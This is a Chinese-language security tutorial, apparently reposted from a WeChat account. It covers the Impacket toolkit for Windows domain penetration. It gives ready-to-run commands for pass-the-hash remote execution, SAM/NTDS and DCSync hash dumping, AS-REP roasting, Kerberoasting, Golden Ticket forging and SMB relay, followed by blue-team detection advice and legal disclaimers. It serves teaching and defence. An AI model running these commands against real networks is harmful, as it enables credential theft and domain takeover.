文章总结: 本文深度解析Impacket在内网渗透中的核心地位,涵盖SMBExec、SecretsDump、GetNPUsers等工具实战用法,并介绍GoldenTicket伪造、SMBRelay等高阶攻击场景。同时从蓝队视角提出流量层与主机层检测建议,强调工具仅限合法授权测试使用。 综合评分: 88 文章分类: 内网渗透,红队,安全工具,应急响应,安全运营
网络协议攻击的瑞士军刀:Impacket深度实战与高阶玩法
原创
运维安全入门 运维安全入门
运维安全入门
2026年9月12日 18:00 陕西
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
在内网渗透与域环境攻防中,有一款 Python 库几乎是所有高级攻击工具的”底层引擎”。它不是直接面向用户的”一键脚本”,而是提供了对 SMB、LDAP、Kerberos、MSRPC 等网络协议的底层操作能力。
这款库就是 Impacket。
从 NetExec(原 CrackMapExec)到 BloodHound 的采集器,从 Pass-The-Hash 到 DCSync 攻击,几乎所有内网渗透工具的核心协议交互都依赖于 Impacket。
01 为什么 Impacket 无可替代?
Impacket 的强大在于对 Windows 网络协议的深度逆向与封装。它提供了以下核心能力:
-
SMB/CIFS 协议操作:
文件共享访问、远程命令执行(SMBExec)、哈希导出(secretsdump)。
-
LDAP/Active Directory 操作:
域用户枚举、ACL 查询、NTDS.dit 导出(DCSync)。
-
Kerberos 协议操作:
票据请求(GetNPUsers)、票据伪造(Golden Ticket)、票据传递(Pass-The-Ticket)。
-
MSRPC 协议操作:
远程注册表访问、服务管理、WMI 执行。
02 安装与环境准备
1. 使用 pip 安装(推荐)
pip install impacket
2. 从源码安装(获取最新示例脚本)
git clone https://github.com/fortra/impacket cd impacket pip install -r requirements.txt python setup.py install
03 核心模块与实战玩法
1. SMBExec:远程命令执行(不落地)
# 使用明文密码执行远程命令 smbexec.py company.local/administrator:'Password123'@192.168.1.10 # 使用 NTLM Hash 执行(Pass-The-Hash) smbexec.py -hashes :aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 company.local/[email protected]
2. SecretsDump:哈希导出(核心)
# 导出目标机器的本地 SAM 数据库哈希 secretsdump.py company.local/administrator:'Password123'@192.168.1.10 # 导出域控的 NTDS.dit(所有域用户哈希) secretsdump.py company.local/administrator:'Password123'@192.168.1.10 -ntds # 使用 DCSync 导出指定用户的哈希(需要域管权限) secretsdump.py company.local/administrator:'Password123'@192.168.1.10 -just-dc-user krbtgt
3. GetNPUsers:AS-REP Roasting 攻击
# 枚举域内不需要 Kerberos 预认证的用户 GetNPUsers.py company.local/ -usersfile users.txt -format hashcat # 针对特定用户 GetNPUsers.py company.local/alice -format hashcat
4. GetUserSPNs:Kerberoasting 攻击
# 枚举域内拥有 SPN 的服务账号 GetUserSPNs.py company.local/administrator:'Password123' -request # 导出为 hashcat 格式 GetUserSPNs.py company.local/administrator:'Password123' -request -format hashcat
04 高阶攻击场景
1. 利用 Golden Ticket 持久化
# 使用 ticketer.py 伪造 Golden Ticket(需要 krbtgt 哈希) ticketer.py -nthash aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 -domain-sid S-1-5-21-xxx -domain company.local administrator # 使用伪造的票据访问域控 export KRB5CCNAME=administrator.ccache smbexec.py -k -no-pass company.local/[email protected]
2. 利用 SMB Relay 攻击
# 启动 SMB Relay 服务器(监听 445 端口) ntlmrelayx.py -t smb://192.168.1.20 -smb2support # 配合 Responder 进行 LLMNR/NBT-NS 欺骗 sudo responder -I eth0 -dwv
05 蓝队视角:如何检测 Impacket 攻击?
1. 流量层检测(NTA/IDS)
-
异常 SMB 连接:
Impacket 的 smbexec/psexec 会在短时间内建立大量 445 端口连接,且伴随
SMB2 CREATE请求(上传临时服务二进制文件)。 -
Kerberos 异常请求:
GetNPUsers/GetUserSPNs 会发起大量
AS-REQ或TGS-REQ请求,且目标为非常见用户。 -
LDAP 高频查询:
secretsdump 的 DCSync 模式会发起
DS-Replication-Get-Changes请求,这是域控同步的核心操作,普通用户不应触发。
2. 主机层日志(Windows Event Logs)
-
事件 ID 7045(服务安装):
smbexec/psexec 会在目标机器创建临时服务(如
BTOBTO、REMCOM),触发 7045 日志。 -
事件 ID 4688(进程创建):
监测
services.exe拉起的异常子进程(如cmd.exe、powershell.exe)。 -
事件 ID 4769(Kerberos 票据请求):
监测异常的
TGS-REQ请求,尤其是针对高权限 SPN 的请求。
06 总结
Impacket 是内网渗透的”底层引擎”,它将复杂的网络协议交互封装成了简洁的 Python 脚本。对于红队而言,它是构建自定义攻击工具的基础库;对于蓝队与运维安全人员而言,深刻理解 Impacket 的协议行为与流量特征,才是构建企业内网”深度检测”体系的核心能力。
免责声明:本文所涉及工具及技术仅用于安全运维自查、合法授权的渗透测试及安全教育,严禁用于任何未授权的非法攻击行为!
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:运维安全入门 运维安全入门 运维安全入门《网络协议攻击的瑞士军刀:Impacket深度实战与高阶玩法》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论